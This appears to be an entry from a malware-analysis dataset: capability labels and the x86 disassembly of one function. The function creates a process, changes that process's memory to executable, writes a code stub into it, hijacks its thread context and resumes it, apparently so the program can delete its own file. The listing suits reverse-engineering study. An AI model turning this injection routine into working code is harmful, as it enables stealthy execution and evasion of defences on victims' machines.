Function at 0x4012f3
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Resume thread
Set current directory

Disassembly:
mov eax, 0x45e9a2
call fcn.0043b400
sub esp, 0xee4
push ebx
push esi
push edi
lea eax, [ebp - 0xe]
mov edi, 0x467550
push 0
push eax
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0x467548
mov dword [ebp - 0x3c], edi
call fcn.00401aa0
and dword [ebp - 4], 0
mov ebx, 0x104
lea eax, [ebp - 0x30]
push ebx
push eax
lea ecx, [ebp - 0x5c]
call fcn.00401799
mov esi, eax
mov ecx, dword [esi]
mov byte [ebp - 4], 1
call fcn.00401f3e
mov dword [esi + 8], eax
push ebx
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
and byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.004019ee
push esi
lea eax, [ebp - 0xac]
push esi
push eax
lea ecx, [ebp - 0x5c]
call fcn.004017c6
push 0xc
lea eax, [ebp - 0x5c]
sub esp, 0x28
mov byte [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x24], esp
push 1
push eax
call fcn.004016e8
call fcn.0042c706
add esp, 0x2c
test al, al
jne 0x4013c6
cmp byte [ebp + 8], al
je 0x4013bf
push 0xc
lea eax, [ebp - 0xac]
sub esp, 0x28
mov ecx, esp
mov dword [ebp - 0x24], esp
push 1
push eax
call fcn.004016e8
call fcn.0042c706
add esp, 0x2c
test al, al
jne 0x4013c6
mov bl, 1
jmp 0x401622
lea eax, [ebp - 0xd]
push esi
push eax
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x84], 0x467548
mov dword [ebp - 0x64], edi
call fcn.00401aa0
lea eax, [ebp - 0x30]
push ebx
push eax
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 3
call fcn.00401799
mov edi, eax
mov ecx, dword [edi]
mov byte [ebp - 4], 4
call fcn.00401f3e
push ebx
push eax
mov dword [edi + 8], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 3
call fcn.004019ee
cmp dword [ebp - 0x78], esi
je 0x401432
lea ecx, [ebp - 0x84]
call fcn.00401f3e
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov esi, 0x476124
lea edi, [ebp - 0x1f4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x3d
xor eax, eax
pop ecx
lea edi, [ebp - 0x1e7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x44
xor esi, esi
pop edx
stosb byte es:[edi], al
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0xec]
mov dword [ebp - 0xf0], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xf0]
push eax
push esi
push esi
push edx
push esi
push esi
lea eax, [ebp - 0x1f4]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x401493
xor bl, bl
jmp 0x401613
mov ecx, 0x28a
xor eax, eax
lea edi, [ebp - 0xeec]
mov dword [ebp - 0xef0], esi
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x6e8], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x6e0], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [ebp - 0x6dc], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x6d8], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x6d4], eax
mov al, byte [ebp + 8]
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x6e4], edi
mov byte [ebp - 0x6cc], al
call fcn.00401f3e
push ebx
push eax
lea eax, [ebp - 0x6cb]
push eax
call fcn.0043b755
add esp, 0xc
cmp byte [ebp + 8], 0
je 0x401530
lea ecx, [ebp - 0xac]
call fcn.00401f3e
push ebx
push eax
lea eax, [ebp - 0x5c7]
push eax
call fcn.0043b755
add esp, 0xc
push esi
push esi
lea eax, [ebp - 0x6ec]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebp - 0x20]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x4016e7
mov eax, 0x40164e
sub ecx, eax
cmp ecx, 0x800
ja 0x40148c
push ecx
push eax
lea eax, [ebp - 0xeec]
push eax
call fcn.0043b420
add esp, 0xc
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x4c0], 0x10003
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x3fc]
mov ebx, 0xa2d
lea esi, [eax - 0xa2d]
and esi, 0xffffffe0
mov dword [ebp - 0xef0], esi
lea eax, [esi - 4]
mov dword [ebp - 0x3fc], eax
lea eax, [esi + 4]
mov dword [ebp - 0x408], eax
lea eax, [ebp - 0x34]
push eax
push 0x40
push ebx
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
lea eax, [ebp - 0xef0]
push ebx
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x4c0]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x20]
call edi
mov bl, 1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 2
call fcn.00401279
and byte [ebp - 4], 0
lea ecx, [ebp - 0xac]
call fcn.00401279
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
call fcn.00401279
mov ecx, dword [ebp - 0xc]
pop edi
mov al, bl
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret